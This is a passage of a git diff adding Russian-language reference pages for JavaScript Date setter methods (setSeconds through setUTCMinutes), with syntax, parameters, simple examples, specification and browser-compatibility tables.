+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/setseconds/index.html
new file mode 100644
index 0000000000..789eb9d7e1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setseconds/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.setSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setSeconds()</code></strong> устанавливает секунды указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Версия_до_JavaScript_1.3">Версия до JavaScript 1.3</h3>
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>Целое число от 0 до 59, представляющее количество секунд.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Число от 0 до 999, представляющее количество миллисекунд.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметра <code>msValue</code>, будет использоваться значение, возвращаемое методом {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setSeconds()</code> попытается соответственно обновить другой параметр и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1, а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setSeconds" name="Example:_Using_setSeconds">Пример: использование метода <code>setSeconds()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setSeconds(30);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/settime/index.html b/files/ru/web/javascript/reference/global_objects/date/settime/index.html
new file mode 100644
index 0000000000..ed30f8c6d5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/settime/index.html
@@ -0,0 +1,116 @@
+---
+title: Date.prototype.setTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setTime
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setTime()</code></strong> устанавливает время объекта {{jsxref("Global_Objects/Date", "Date")}} в значение, представляемое количеством миллисекунд, прошедших с 1 января 1970 00:00:00 по UTC.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setTime(<var>timeValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>timeValue</code></dt>
+ <dd>Целое число, представляющее количеством миллисекунд, прошедших с 1 января 1970 00:00:00 по UTC.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Используя метод <code>setTime()</code>, можно присвоить дату и время другому объекту {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setTime" name="Example:_Using_setTime">Пример: использование метода <code>setTime()</code></h3>
+<pre class="brush: js">var theBigDay = new Date('July 1, 1999');
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime());
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcdate/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcdate/index.html
new file mode 100644
index 0000000000..7f42960c13
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcdate/index.html
@@ -0,0 +1,115 @@
+---
+title: Date.prototype.setUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCDate()</code></strong> устанавливает день месяца указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>Целое число от 1 до 31, представляющее номер дня в месяце.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если значение параметра <code>dayValue</code> будет выходить за пределы количества дней для месяца, метод <code>setUTCDate()</code> попытается соответственно обновить объект {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>dayValue</code> передать значение 40, а текущий сохранённый в объекте {{jsxref("Global_Objects/Date", "Date")}} месяц равен июню, день будет изменён на 10, а месяц увеличится до июля.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCDate" name="Example:_Using_setUTCDate">Пример: использование метода <code>setUTCDate()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCDate(20);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcfullyear/index.html
new file mode 100644
index 0000000000..4dbcfe0c7a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcfullyear/index.html
@@ -0,0 +1,120 @@
+---
+title: Date.prototype.setUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCFullYear()</code></strong> устанавливает полный год указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>Целое число, определяющее значение года, например, 1995.</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 11, представляющее месяцы от января до декабря.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 1 до 31, представляющее день месяца. Если вы определите параметр <code>dayValue</code>, вы также должны определить параметр <code>monthValue</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметров <code>monthValue</code> и <code>dayValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getUTCMonth()", "getUTCMonth()")}} и {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setUTCFullYear()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>monthValue</code> передать значение 15, год увеличится на 1 (<code>yearValue + 1</code>), а в качестве месяца будет использоваться значение 3.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCFullYear" name="Example:_Using_setUTCFullYear">Пример: использование метода <code>setUTCFullYear()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCFullYear(1997);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutchours/index.html b/files/ru/web/javascript/reference/global_objects/date/setutchours/index.html
new file mode 100644
index 0000000000..333120ab9b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutchours/index.html
@@ -0,0 +1,122 @@
+---
+title: Date.prototype.setUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCHours()</code></strong> устанавливает часы указанной даты по всемирному координированному времени и возвращает количество миллисекунд, прошедших с 1 января 1970 00:00:00 по UTC до времени, представляемого обновлённым экземпляром {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>Целое число от 0 до 23, представляющее часы.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее минуты.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее секунды. Если вы определите параметр <code>secondsValue</code>, вы также должны определить параметр <code>minutesValue</code>.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 999, представляющее миллисекунды. Если вы определите параметр <code>msValue</code>, вы также должны определить параметры <code>minutesValue</code> и <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметров <code>minutesValue</code>, <code>secondsValue</code> и <code>msValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} и {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setUTCHours()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1 (<code>minutesValue + 1</code>), а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCHours" name="Example:_Using_setUTCHours">Пример: использование метода <code>setUTCHours()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCHours(8);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
new file mode 100644
index 0000000000..ce32739425
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
@@ -0,0 +1,115 @@
+---
+title: Date.prototype.setUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCMilliseconds()</code></strong> устанавливает миллисекунды указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>Целое число от 0 до 999, представляющее миллисекунды.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если значение параметра <code>millisecondsValue</code> будет выходить за пределы ожидаемого диапазона, метод <code>setUTCMilliseconds()</code> попытается соответственно обновить объект {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>millisecondsValue</code> передать значение 1100, количество секунд увеличится на 1, а в качестве миллисекунд будет использоваться значение 100.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCMilliseconds" name="Example:_Using_setUTCMilliseconds">Пример: использование метода <code>setUTCMilliseconds()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMilliseconds(500);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcminutes/index.html
new file mode 100644
index 0000000000..ab55814ccd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcminutes/index.html
@@ -0,0 +1,120 @@
+---
+title: Date.prototype.setUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
